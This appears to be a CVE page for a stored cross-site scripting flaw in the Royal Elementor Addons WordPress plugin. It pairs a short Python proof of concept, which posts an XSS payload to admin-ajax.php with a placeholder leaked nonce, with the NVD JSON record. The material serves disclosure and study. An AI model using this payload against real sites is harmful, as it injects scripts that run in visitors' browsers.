CVE-2026-4803

import requests # Target URL target = "http://example.com/wp-admin/admin-ajax.php" # Leaked Nonce (Example value, needs to be extracted from source or static files) # Reference: plugins.trac.wordpress.org link suggests hardcoded or accessible nonce nonce = "hardcoded_nonce_value_here" # Payload demonstrating XSS xss_payload = "<img src=x onerror=alert('CVE-2026-4803')>" data = { "action": "wpr_update_form_action_meta", "status": xss_payload, "security": nonce, # Parameter name may vary based on source code analysis "wpr_nonce": nonce # Alternative parameter name often used in WP } response = requests.post(target, data=data) if response.status_code == 200: print("Payload sent successfully. Check if XSS is triggered.") else: print("Failed to send payload.")

{"cve": {"id": "CVE-2026-4803", "sourceIdentifier": "[email protected]", "published": "2026-05-05T04:16:18.230", "lastModified": "2026-05-05T19:08:20.090", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Royal Elementor Addons plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'status' parameter in the wpr_update_form_action_meta AJAX action in all versions up to, and including, 1.7.1056. This is due to insufficient input sanitization and output escaping, combined with a publicly leaked nonce that allows unauthenticated access to the AJAX handler. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/royal-elementor-addons/trunk/classes/modules/forms/wpr-actions-status.php#L21", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/royal-elementor-addons/trunk/classes/modules/forms/wpr-actions-status.php#L73", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/royal-elementor-addons/trunk/classes/modules/forms/wpr-submissions-cpt.php#L23", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/royal-elementor-addons/trunk/plugin.php#L613", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3503219/royal-elementor-addons/trunk/classes/modules/forms/wpr-actions-status.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c91a14d3-bc41-4490-888c-486ad2994095?source=cve", "source": "[email protected]"}]}}